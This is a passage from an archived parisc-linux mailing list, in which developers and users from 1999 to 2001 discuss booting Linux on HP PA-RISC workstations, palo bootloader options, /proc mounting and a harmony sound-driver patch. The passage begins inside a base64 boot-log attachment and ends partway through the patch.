emUgNDYwMAogICBjMWZiZjRjMCAuY291bnQgYzBhZiwgYl9uZXh0IGY0ZTAwMWZiLCBiX2RhdGEg
ZTAxMjAxZmEsIHNpemUgNDYwMAogICBjMWZiZjRlMCAuY291bnQgYzBhZiwgYl9uZXh0IGY1MDAw
MWZiLCBiX2RhdGEgZTgxMjAxZmEsIHNpemUgNDYwMAogICBjMWZiZjUwMCAuY291bnQgYzBhNCwg
Yl9uZXh0IGY1MjAwMWZiLCBiX2RhdGEgZDAxMjAxZmEsIHNpemUgNDYwMAogICBjMWZiZjUyMCAu
Y291bnQgYzA5MiwgYl9uZXh0IGY1NDAwMWZiLCBiX2RhdGEgZDgxMjAxZmEsIHNpemUgNDYwMAog
ICBjMWZiZjU0MCAuY291bnQgYzBhZiwgYl9uZXh0IGY1NjAwMWZiLCBiX2RhdGEgYzAxMjAxZmEs
IHNpemUgNDYwMAogICBjMWZiZjU2MCAuY291bnQgYzBhZiwgYl9uZXh0IGY1ODAwMWZiLCBiX2Rh
dGEgYzgxMjAxZmEsIHNpemUgNDYwMAogICBjMWZiZjU4MCAuY291bnQgYzBhMywgYl9uZXh0IGY1
YTAwMWZiLCBiX2RhdGEgYjAxMjAxZmEsIHNpemUgNDYwMAogICBjMWZiZjVhMCAuY291bnQgYzAz
YywgYl9uZXh0IGY1YzAwMWZiLCBiX2RhdGEgYjgxMjAxZmEsIHNpemUgNDYwMAogICBjMWZiZjVj
MCAuY291bnQgYzBhZiwgYl9uZXh0IGY1ZTAwMWZiLCBiX2RhdGEgYTAxMjAxZmEsIHNpemUgNDYw
MAogICBjMWZiZjVlMCAuY291bnQgYzBhZiwgYl9uZXh0IGY2MDAwMWZiLCBiX2RhdGEgYTgxMjAx
ZmEsIHNpemUgNDYwMAogICBjMWZiZjYwMCAuY291bnQgYzBhNCwgYl9uZXh0IGY2MjAwMWZiLCBi
X2RhdGEgOTAxMjAxZmEsIHNpemUgNDYwMAogICBjMWZiZjYyMCAuY291bnQgYzBhZiwgYl9uZXh0
IGY2NDAwMWZiLCBiX2RhdGEgOTgxMjAxZmEsIHNpemUgNDYwMAogICBjMWZiZjY0MCAuY291bnQg
YzAzYywgYl9uZXh0IGY2NjAwMWZiLCBiX2RhdGEgODAxMjAxZmEsIHNpemUgNDYwMAogICBjMWZi
ZjY2MCAuY291bnQgYzBhZiwgYl9uZXh0IGY0ODAwMWZiLCBiX2RhdGEgODgxMjAxZmEsIHNpemUg
NDYwMApUcnlpbmcgdG8gZnJlZSBub25leGlzdGVudCByZXNvdXJjZSA8ZjA4MjYwMDAtZjA4MjYw
MGI+Ck5FVDQ6IFVuaXggZG9tYWluIHNvY2tldHMgMS4wL1NNUCBmb3IgTGludXggTkVUNC4wLgpr
bWVtX2NyZWF0ZTogRm9yY2luZyBzaXplIHdvcmQgYWxpZ25tZW50IC0gbmZzX2ZoCktlcm5lbCBw
YW5pYzogVkZTOiBVbmFibGUgdG8gbW91bnQgcm9vdCBmcyBvbiAwMTowMAo=

------=NEOMAIL_ATT_0.440625681848363--


From - Thu Nov 08 21:15:14 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Trouble booting a 710 (bushmaster)
Date: Thu, 18 Jan 2001 22:15:58 +0000
Lines: 12
Approved: news@gmane.org
Message-ID: <20010118221558.D28638@linuxcare.com>
References: <200101182104.f0IL4lb20828@openbsd1.buttafuoco.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619560 10911 80.91.229.3 (22 Nov 2014 01:26:00 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:26:00 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Jim Buttafuoco <jim@tylerdrive.org>
Original-X-From: rhirst@linuxcare.com  Thu Jan 18 15:21:45 2001
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id PAA17198
	for <parisc-linux@puffin.external.hp.com>; Thu, 18 Jan 2001 15:21:45 -0700
Original-Received: (qmail 28836 invoked by uid 15267); 18 Jan 2001 22:25:27 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 28601 invoked from network); 18 Jan 2001 22:25:20 -0000
Original-Received: from pc188-bre9.cable.ntl.com (HELO rhirst.linuxcare.com) (213.105.88.188)
  by mailserv2.iuinc.com with SMTP; 18 Jan 2001 22:25:20 -0000
Original-Received: by rhirst.linuxcare.com (Postfix, from userid 501)
	id EF01CB005; Thu, 18 Jan 2001 22:15:58 +0000 (GMT)
X-Mailer: Mutt 1.0us
In-Reply-To: <200101182104.f0IL4lb20828@openbsd1.buttafuoco.net>; from jim@tylerdrive.org on Thu, Jan 18, 2001 at 04:04:47PM -0500
Xref: news.gmane.org gmane.linux.ports.parisc:9287

On Thu, Jan 18, 2001 at 04:04:47PM -0500, Jim Buttafuoco wrote:
> attach is the boot log.

OK, that tells me that the network chip is working fine - the chip is
receiving frames and buffering them.  The problem is that interrupts
the chip generates are not getting to the driver - so the driver never
looks for completed commands.

Anyone know if interrupt handling is different for a 710?

Richard


From - Thu Nov 08 21:15:14 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Daniele Dal Fiume <daniele@tesp53.tesre.bo.cnr.it>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] HPPA Linux testing
Date: Tue, 1 Jun 1999 12:20:33 +0200
Organization: Istituto TeSRE - CNR
Lines: 24
Approved: news@gmane.org
Message-ID: <99060112345500.11927@tesp53>
Reply-To: daniele@tesp53.tesre.bo.cnr.it
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416619560 10917 80.91.229.3 (22 Nov 2014 01:26:00 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:26:00 +0000 (UTC)
Cc: daniele@tesp53.tesre.bo.cnr.it
To: parisc-linux@thepuffingroup.com
Original-X-From: daniele@tesp53.tesre.bo.cnr.it  Tue Jun  1 03:34:52 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id DAA08024
	for <parisc-linux@puffin.external.hp.com>; Tue, 1 Jun 1999 03:34:51 -0600
Original-Received: (qmail 19070 invoked by uid 15267); 1 Jun 1999 09:34:10 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 19058 invoked from network); 1 Jun 1999 09:34:09 -0000
Original-Received: from tesp53.tesre.bo.cnr.it (root@192.167.166.153)
  by mailserv2.iuinc.com with SMTP; 1 Jun 1999 09:34:09 -0000
Original-Received: from tesp53 (daniele@localhost [127.0.0.1])
	by tesp53.tesre.bo.cnr.it (8.8.7/8.8.7) with SMTP id MAA14356;
	Tue, 1 Jun 1999 12:34:55 +0200
X-Mailer: KMail [version 1.0.17]
X-MIME-Autoconverted: from quoted-printable to 8bit by puffin.external.hp.com id DAA08024
Xref: news.gmane.org gmane.linux.ports.parisc:9288

Hi all.

I am a physicist of the Italian CNR (National Research Council).
I am using HPUX since twelve years. As I also use Linux, both at work
and at home since some years, I am interested to your Linux port to
HPPA machines.

I wonder if I can contribute somehow to this. I think I do not have
sufficient expertise with kernels to support coding, but I may be
an alpha tester. Here is the configuration of a HPPA workstation I
may use for testing (from HPUX xstm)

9000/715t/50 16 MB memory
external SCSI disk with 660MB

The workstation is currently in an HPUX cluster and has an internal SCSI
disk used for swap.

Please let me know, also via e-mail to my address if you prefer.

Thanks for your work on the HPPA-Linux port.

Daniele


From - Thu Nov 08 21:15:15 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] No booting 715 old
Date: Thu, 18 Jan 2001 22:44:10 +0000
Lines: 19
Approved: news@gmane.org
Message-ID: <20010118224410.F28638@linuxcare.com>
References: <G7D13X$IWdMk3UWppTTFaurPylOrikzjQAW9PMmvU2uFHUGD@libero.it>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619560 10921 80.91.229.3 (22 Nov 2014 01:26:00 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:26:00 +0000 (UTC)
Cc: parisc-linux@puffin.external.hp.com
To: "arete@libero.it" <arete@libero.it>
Original-X-From: rhirst@linuxcare.com  Thu Jan 18 15:50:17 2001
Original-Received: from rhirst.linuxcare.com (pc188-bre9.cable.ntl.com [213.105.88.188])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id PAA17643
	for <parisc-linux@puffin.external.hp.com>; Thu, 18 Jan 2001 15:50:16 -0700
Original-Received: by rhirst.linuxcare.com (Postfix, from userid 501)
	id 80985B005; Thu, 18 Jan 2001 22:44:10 +0000 (GMT)
X-Mailer: Mutt 1.0us
In-Reply-To: <G7D13X$IWdMk3UWppTTFaurPylOrikzjQAW9PMmvU2uFHUGD@libero.it>; from arete@libero.it on Thu, Jan 18, 2001 at 02:21:33PM +0100
Xref: news.gmane.org gmane.linux.ports.parisc:9289

On Thu, Jan 18, 2001 at 02:21:33PM +0100, arete@libero.it wrote:
> I have an 715/50 , with PDC rom 1.3 and IODC rom 1.1
> i use the palinux-0.5.iso image
>   and recive this messages
> 
> 
> .....
> 
> IASQ:00000000 IAOQ:c01c5280 c015280
> IIR:c840c00 ISR: 00000000 IOR:c02773f0
> ORIG_R28:00000000

If this is just after a message something like "ASP version .. found",
then it is a known problem with that kernel.  There is a newer kernel
on the ftp site, which you should try and boot (probably with rbootd
rather than bootpd on your server).

Richard


From - Thu Nov 08 21:15:15 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Josiah Carlson <jcarlson@macalester.edu>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] /proc problems
Date: Thu, 18 Jan 2001 16:47:28 -0600
Lines: 25
Approved: news@gmane.org
Message-ID: <3A677280148.B3CFJCARLSON@smtp.macalester.edu>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619561 10924 80.91.229.3 (22 Nov 2014 01:26:01 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:26:01 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: jcarlson@macalester.edu  Thu Jan 18 15:54:09 2001
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id PAA17802
	for <parisc-linux@puffin.external.hp.com>; Thu, 18 Jan 2001 15:54:08 -0700
Original-Received: (qmail 11901 invoked by uid 15267); 18 Jan 2001 22:54:03 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 3490 invoked from network); 18 Jan 2001 22:48:56 -0000
Original-Received: from apollo.cc.macalester.edu (141.140.1.2)
  by mailserv2.iuinc.com with SMTP; 18 Jan 2001 22:48:56 -0000
Original-Received: from dualcel400 ([141.140.106.33])
 by macalester.edu (PMDF V5.2-32 #38670)
 with SMTP id <01JZ25Q8UOAM001RYF@macalester.edu> for
 parisc-linux@thepuffingroup.com; Thu, 18 Jan 2001 16:48:56 CDT
X-Mailer: Becky! ver 1.25.04
Xref: news.gmane.org gmane.linux.ports.parisc:9290

Good afternoon,

(I'm using the .5 image and used the install instructions on
www.parisc-linux.org/install.html to get the booting system on a B160L)

Upon boot, the system is not automatically mounting /proc.
I made sure that the line:
/proc	/proc	proc	defaults
was in /etc/fstab, but the kernel never mounts it.

I also need a script to be run every boot (to set up the ethernet
interface...or if it automatically did this, I would be happy to know
how to do set it up to do this as well.)

(Greg Ingram)
Appending 'rw' at the end of the command line in palo works great to
enable read/write access to the booting volume, thank you.  Though I
don't think it's so much of a hack...I think it's more like a 'feature'
of palo that it doesn't automatically mount the boot volume as
read/write.  An annoying feature, but one that prevents new people from
mucking up the system too bad.

Thank you,
 - Josiah


From - Thu Nov 08 21:15:15 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] /proc problems
Date: Thu, 18 Jan 2001 23:20:09 +0000
Lines: 20
Approved: news@gmane.org
Message-ID: <20010118232009.G28638@linuxcare.com>
References: <3A677280148.B3CFJCARLSON@smtp.macalester.edu>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619561 10936 80.91.229.3 (22 Nov 2014 01:26:01 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:26:01 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Josiah Carlson <jcarlson@macalester.edu>
Original-X-From: rhirst@linuxcare.com  Thu Jan 18 16:25:40 2001
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id QAA19714
	for <parisc-linux@puffin.external.hp.com>; Thu, 18 Jan 2001 16:25:40 -0700
Original-Received: (qmail 5455 invoked by uid 15267); 18 Jan 2001 23:29:25 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 5447 invoked from network); 18 Jan 2001 23:29:24 -0000
Original-Received: from pc188-bre9.cable.ntl.com (HELO rhirst.linuxcare.com) (213.105.88.188)
  by mailserv2.iuinc.com with SMTP; 18 Jan 2001 23:29:24 -0000
Original-Received: by rhirst.linuxcare.com (Postfix, from userid 501)
	id C5E6CB005; Thu, 18 Jan 2001 23:20:09 +0000 (GMT)
X-Mailer: Mutt 1.0us
In-Reply-To: <3A677280148.B3CFJCARLSON@smtp.macalester.edu>; from jcarlson@macalester.edu on Thu, Jan 18, 2001 at 04:47:28PM -0600
Xref: news.gmane.org gmane.linux.ports.parisc:9291

On Thu, Jan 18, 2001 at 04:47:28PM -0600, Josiah Carlson wrote:
> Good afternoon,
> 
> (I'm using the .5 image and used the install instructions on
> www.parisc-linux.org/install.html to get the booting system on a B160L)
> 
> Upon boot, the system is not automatically mounting /proc.
> I made sure that the line:
> /proc	/proc	proc	defaults
> was in /etc/fstab, but the kernel never mounts it.
> 
> I also need a script to be run every boot (to set up the ethernet
> interface...or if it automatically did this, I would be happy to know
> how to do set it up to do this as well.)

I thought the instructions for that were in the README.POSTINSTALL
on the CD image...

Richard


From - Thu Nov 08 21:15:15 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: jcarlson@macalester.edu
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] ftp, gcc, etc...
Date: Fri, 19 Jan 2001 12:27:32 -0600
Lines: 25
Approved: news@gmane.org
Message-ID: <14688115.3188896052@chem42.chem.macalester.edu>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619561 10959 80.91.229.3 (22 Nov 2014 01:26:01 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:26:01 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: jcarlson@macalester.edu  Fri Jan 19 11:02:16 2001
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id LAA30807
	for <parisc-linux@puffin.external.hp.com>; Fri, 19 Jan 2001 11:02:15 -0700
Original-Received: (qmail 19295 invoked by uid 15267); 19 Jan 2001 18:06:01 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 19288 invoked from network); 19 Jan 2001 18:06:01 -0000
Original-Received: from apollo.cc.macalester.edu (141.140.1.2)
  by mailserv2.iuinc.com with SMTP; 19 Jan 2001 18:06:01 -0000
Original-Received: from chem42.chem.macalester.edu ([141.140.46.42])
 by macalester.edu (PMDF V5.2-32 #38670)
 with ESMTP id <01JZ3A5SKAMQ0023HL@macalester.edu> for
 parisc-linux@thepuffingroup.com; Fri, 19 Jan 2001 12:06:00 CDT
Originator-info: login-id=jcarlson; server=imap.macalester.edu
X-Mailer: Mulberry (MacOS) [1.4.4, s/n S-399060]
Content-disposition: inline
Xref: news.gmane.org gmane.linux.ports.parisc:9292

Sorry for darn near spamming the list with all my problems...

I was going to get some packages and such...but it seems that the base .5
image lacks ftp...
I was curious as to which package includes ftp as one of it's binaries.  It
is a little strange to be on a linux machine and not have ftp.  I've
started to install packages that I thought would do it...but I haven't
found it yet.

On a side note, I'm setting up 6 hp machines to be turned into a parallel
processing cluster using MPICH, and am going to need to compile the
sources.  (or if someonee else wants to compile them and make a debian
package out of them...would be really nice *smile*).  Along those lines,
which packages do I need to install on the hp machine to allow configure,
make, gcc, etc... to work together?
After installing gcc and glibc (as well as all the required libraries for
gcc), I tested it with a hello world program, and everything went peachy,
but I do not know if the MPICH configure and make will work yet as I am not
able to download it (I want my ftp! *5 points if you know what this refers
to*).

Any help at all would be greatly appreciated,
Thank you,
 - Josiah


From - Thu Nov 08 21:15:15 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Paul Bame <bame@fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] palo, update to README.INSTALL
Date: Fri, 19 Jan 2001 11:28:43 -0700
Lines: 11
Approved: news@gmane.org
Message-ID: <E14JgHD-0003Uh-00@noam.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619562 10961 80.91.229.3 (22 Nov 2014 01:26:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:26:02 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: bame@fc.hp.com  Fri Jan 19 11:25:03 2001
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id LAA31383
	for <parisc-linux@puffin.external.hp.com>; Fri, 19 Jan 2001 11:25:01 -0700
Original-Received: (qmail 26629 invoked by uid 15267); 19 Jan 2001 18:28:47 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 26601 invoked from network); 19 Jan 2001 18:28:46 -0000
Original-Received: from atlrel2.hp.com (156.153.255.202)
  by mailserv2.iuinc.com with SMTP; 19 Jan 2001 18:28:46 -0000
Original-Received: from hpfcla.fc.hp.com (hpfcla.fc.hp.com [15.254.48.2])
	by atlrel2.hp.com (Postfix) with ESMTP id 65F7A3D8
	for <parisc-linux@thepuffingroup.com>; Fri, 19 Jan 2001 13:28:45 -0500 (EST)
Original-Received: from noam.fc.hp.com (mail@noam.fc.hp.com [15.1.52.69])
	by hpfcla.fc.hp.com (8.9.1/8.9.3 SMKit7.01) with ESMTP id LAA12253
	for <parisc-linux@thepuffingroup.com>; Fri, 19 Jan 2001 11:28:44 -0700 (MST)
Original-Received: from localhost
	([127.0.0.1] helo=fc.hp.com ident=bame)
	by noam.fc.hp.com with esmtp (Exim 3.12 #1 (Debian))
	id 14JgHD-0003Uh-00
	for <parisc-linux@thepuffingroup.com>; Fri, 19 Jan 2001 11:28:43 -0700
Xref: news.gmane.org gmane.linux.ports.parisc:9293


palo's command line has changed since README.INSTALL was written, so
if you have a newer palo (for example
ftp://puffin.external.hp.com/pub/parisc/binaries/userspace/palo-20010118.tgz)
please note this change.

Where README.INSTALL uses 'palo -I -k ... /dev/sda' please change it
to 'palo -k ... -I /dev/sda' -- the -I option now requires an argument.

	-Paul Bame


From - Thu Nov 08 21:15:15 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] palo, update to README.INSTALL
Date: Fri, 19 Jan 2001 12:31:29 -0800
Lines: 18
Approved: news@gmane.org
Message-ID: <200101192031.MAA16124@milano.cup.hp.com>
References: <E14JgHD-0003Uh-00@noam.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619562 10965 80.91.229.3 (22 Nov 2014 01:26:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:26:02 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Paul Bame <bame@fc.hp.com>
Original-X-From: grundler@cup.hp.com  Fri Jan 19 13:26:01 2001
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id NAA00307
	for <parisc-linux@puffin.external.hp.com>; Fri, 19 Jan 2001 13:26:00 -0700
Original-Received: (qmail 7367 invoked by uid 15267); 19 Jan 2001 20:29:41 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 7318 invoked from network); 19 Jan 2001 20:29:40 -0000
Original-Received: from palrel1.hp.com (156.153.255.242)
  by mailserv2.iuinc.com with SMTP; 19 Jan 2001 20:29:40 -0000
Original-Received: from milano.cup.hp.com (milano.cup.hp.com [15.8.80.76])
	by palrel1.hp.com (Postfix) with ESMTP id F220F181F
	for <parisc-linux@thepuffingroup.com>; Fri, 19 Jan 2001 12:29:36 -0800 (PST)
Original-Received: from localhost (grundler@localhost [127.0.0.1])
	by milano.cup.hp.com (8.9.3 (PHNE_18546)/8.9.3 SMKit7.02) with SMTP id MAA16124;
	Fri, 19 Jan 2001 12:31:31 -0800 (PST)
X-Authentication-Warning: milano.cup.hp.com: grundler@localhost [127.0.0.1] didn't use HELO protocol
In-reply-to: Your message of "Fri, 19 Jan 2001 11:28:43 PST."
             <E14JgHD-0003Uh-00@noam.fc.hp.com> 
Xref: news.gmane.org gmane.linux.ports.parisc:9294

Paul Bame wrote:
> 
> palo's command line has changed since README.INSTALL was written, so
> if you have a newer palo (for example
> ftp://puffin.external.hp.com/pub/parisc/binaries/userspace/palo-20010118.tgz)
> please note this change.
> 
> Where README.INSTALL uses 'palo -I -k ... /dev/sda' please change it
> to 'palo -k ... -I /dev/sda' -- the -I option now requires an argument.

And need to add "console=ttyS0" parameter too!

I'm using CONFIG_SERIAL_CONSOLE on c3k:
    palo -I /dev/sda -k /boot/vmlinux -b /boot/iplboot \
         -c '3/boot/vmlinux console=ttyS0 TERM=linux HOME=/ root=/dev/sda3'

grant


From - Thu Nov 08 21:15:15 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Rinux-Iternet" <rinux@iternet.it>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] R: website mort
Date: Sat, 20 Jan 2001 01:34:16 +0100
Lines: 4
Approved: news@gmane.org
Message-ID: <00e101c08278$b886c3e0$a19c953e@rinux>
References: <200101200017.RAA03395@puffin.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619562 10966 80.91.229.3 (22 Nov 2014 01:26:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:26:02 +0000 (UTC)
To: <parisc-linux@thepuffingroup.com>
Original-X-From: rinux@iternet.it  Fri Jan 19 17:27:49 2001
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id RAA03735
	for <parisc-linux@puffin.external.hp.com>; Fri, 19 Jan 2001 17:27:49 -0700
Original-Received: (qmail 5082 invoked by uid 15267); 20 Jan 2001 00:31:35 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 5057 invoked from network); 20 Jan 2001 00:31:35 -0000
Original-Received: from smtp.technorail.com (HELO smtp.aruba.it) (62.149.128.19)
  by mailserv2.iuinc.com with SMTP; 20 Jan 2001 00:31:35 -0000
Original-Received: from rinux ([62.149.156.161]) by smtp.aruba.it with Microsoft SMTPSVC(5.0.2195.1600);
	 Sat, 20 Jan 2001 01:37:09 +0100
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.00.2615.200
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2615.200
X-OriginalArrivalTime: 20 Jan 2001 00:37:09.0886 (UTC) FILETIME=[1F9499E0:01C08279]
Xref: news.gmane.org gmane.linux.ports.parisc:9295

excuse me
wath i can download to install linux on my parisc ???
regards


From - Thu Nov 08 21:15:15 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthieu Delahaye <delahaym@esiee.fr>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] File formats auto-detection by Lasi Harmony
Date: Sat, 20 Jan 2001 02:28:45 +0100
Lines: 1524
Approved: news@gmane.org
Message-ID: <3A68E9CC.CA093CB@esiee.fr>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
 boundary="------------4695CB23E470794E9F8738B7"
X-Trace: ger.gmane.org 1416619563 10971 80.91.229.3 (22 Nov 2014 01:26:03 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:26:03 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: delahaym@esiee.fr  Fri Jan 19 18:25:05 2001
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id SAA04753
	for <parisc-linux@puffin.external.hp.com>; Fri, 19 Jan 2001 18:25:04 -0700
Original-Received: (qmail 31129 invoked by uid 15267); 20 Jan 2001 01:28:52 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 31102 invoked from network); 20 Jan 2001 01:28:50 -0000
Original-Received: from mail.esiee.fr (147.215.1.3)
  by mailserv2.iuinc.com with SMTP; 20 Jan 2001 01:28:50 -0000
Original-Received: from pc5158a.esiee.fr (pc5158a.esiee.fr [147.215.50.165])
	by mail.esiee.fr (Postfix) with ESMTP id 36DA9D1585
	for <parisc-linux@thepuffingroup.com>; Sat, 20 Jan 2001 02:28:49 +0100 (CET)
Original-Received: from localhost
	([127.0.0.1] helo=esiee.fr ident=delahaym)
	by pc5158a.esiee.fr with esmtp (Exim 3.12 #1 (Debian))
	id 14Jmpl-0002bC-00
	for <parisc-linux@thepuffingroup.com>; Sat, 20 Jan 2001 02:28:49 +0100
Original-Sender: delahaym@esiee.fr
X-Mailer: Mozilla 4.76 [en] (X11; U; Linux 2.2.17 i686)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:9296

This is a multi-part message in MIME format.
--------------4695CB23E470794E9F8738B7
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Hi,

The patch above permits harmony driver to auto-detect file format
when the application, which access to /dev/audio, doesn't set the
output settings itself via ioctl() before starting playing.

Formats recognized are:
8 bits u-law
8 bits A-law
16 bits linear

Into these patch, I included again the sound mixer to make it work
on a clean CVS image.

Any feedbacks would be appreciated;
Regards

Matthieu Delahaye
ESIEE Team
http://www.esiee.fr/puffin


--------------4695CB23E470794E9F8738B7
Content-Type: text/plain; charset=us-ascii;
 name="harmony.diff"
Content-Transfer-Encoding: 7bit
Content-Disposition: inline;
 filename="harmony.diff"

diff -Nru linux.original/drivers/sound/Makefile linux/drivers/sound/Makefile
--- linux.original/drivers/sound/Makefile	Tue Jan 16 21:31:10 2001
+++ linux/drivers/sound/Makefile	Sat Jan 20 01:29:47 2001
@@ -108,7 +108,7 @@
 # Declare multi-part drivers.
 
 list-multi	:= sound.o gus.o pas2.o sb.o sb_lib.o vidc_mod.o \
-    soundcore.o wavefront.o
+    soundcore.o wavefront.o harmony.o
 
 sound-objs	:= 							\
     dev_table.o soundcard.o sound_syms.o		\
@@ -124,6 +124,7 @@
 sb_lib-objs	:= sb_common.o sb_audio.o sb_midi.o sb_mixer.o sb_ess.o
